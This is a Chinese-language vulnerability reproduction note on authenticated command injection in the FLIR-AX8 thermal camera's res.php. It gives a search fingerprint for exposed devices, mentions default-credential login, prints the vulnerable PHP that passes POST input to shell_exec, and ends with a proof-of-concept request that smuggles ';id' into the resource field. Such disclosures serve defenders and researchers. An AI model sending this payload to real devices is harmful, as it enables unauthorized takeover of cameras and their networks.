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FLIR-AX8 res.php 后台命令执行漏洞

漏洞描述

FLIR-AX8 res.php 文件存在后台命令执行漏洞，攻击者通过默认口令登录后台后获取服务器权限

漏洞影响

FLIR-AX8

网络测绘

app="FLIR-FLIR-AX8"

漏洞复现

登录页面

img

出现漏洞的文件为 res.php

<?php
    if (isset($_POST["action"])) {
        switch ($_POST["action"]) {
            case "get":
                if(isset($_POST["resource"]))
                {
                    switch ($_POST["resource"]) {
                        case ".rtp.hflip":
                            if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {
                                $result = "false";
                                break;
                            }
                            $result = file_get_contents("/FLIR/system/journal.d/horizontal_flip.cfg") === "1" ? "true" : "false";
                            break;
                        case ".rtp.vflip":
                            if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {
                                $result = "false";
                                break;
                            }
                            $result = file_get_contents("/FLIR/system/journal.d/vertical_flip.cfg") === "1" ? "true" : "false";
                            break;
                        default:
                            $result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o ".$_POST["resource"]));
                    }
                }
                break;
            case "set":
                if(isset($_POST["resource"]) and isset($_POST["value"])) {
                    switch ($_POST["resource"]) {
                        case "rtp.hflip":
                            file_put_contents("/FLIR/system/journal.d/horizontal_flip.cfg", $_POST["value"] === "true" ? "1" : "0");
                            break;
                        case "rtp.vflip":
                            file_put_contents("/FLIR/system/journal.d/vertical_flip.cfg", $_POST["value"] === "true" ? "1" : "0");
                            break;
                        default:
                            $result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rset ".$_POST["resource"]." ".$_POST["value"]));;
                    }
                }

                break;
            case "measurement":
                if (isset($_POST["type"]) && isset($_POST["id"])) {
                    $nodeData =  trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -i .image.sysimg.measureFuncs.".$_POST["type"].".".$_POST["id"]));
                    $lines = explode("\n", $nodeData);
                    foreach($lines as $line)
                    {
                        $resource = preg_split('/\s+/', $line);
                        $value = trim($resource[1], "\"");
                        $result[$resource[0]] = $value;
                    }
                }
                break;
            case "global-parameters":
                $nodeData =  trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -i .image.sysimg.basicImgData.objectParams"));
                $lines = explode("\n", $nodeData);
                foreach($lines as $line)
                {
                    $resource = preg_split('/\s+/', $line);
                    $result[$resource[0]] = $resource[1];
                }
            case "alarm":
                if(isset($_POST["id"]))
                {
                    $nodeData = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls .image.sysimg.alarms.measfunc.".$_POST["id"]));
                    $lines = explode("\n", $nodeData);
                    foreach($lines as $line)
                    {
                        $resource = preg_split('/\s+/', $line);
                        $value = trim($resource[1], "\"");
                        $result[$resource[0]] = $value;
                    }
                }
                break;
            case "calibrate":
                $result = shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/nuc");

                break;
            case "node":
                $nodes = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls ".$_POST["resource"]));
                $result = preg_split("/\s+\n/", $nodes);
                break;
        }
        echo json_encode($result);
    }
?>

验证POC

POST /res.php

action=node&resource=;id

img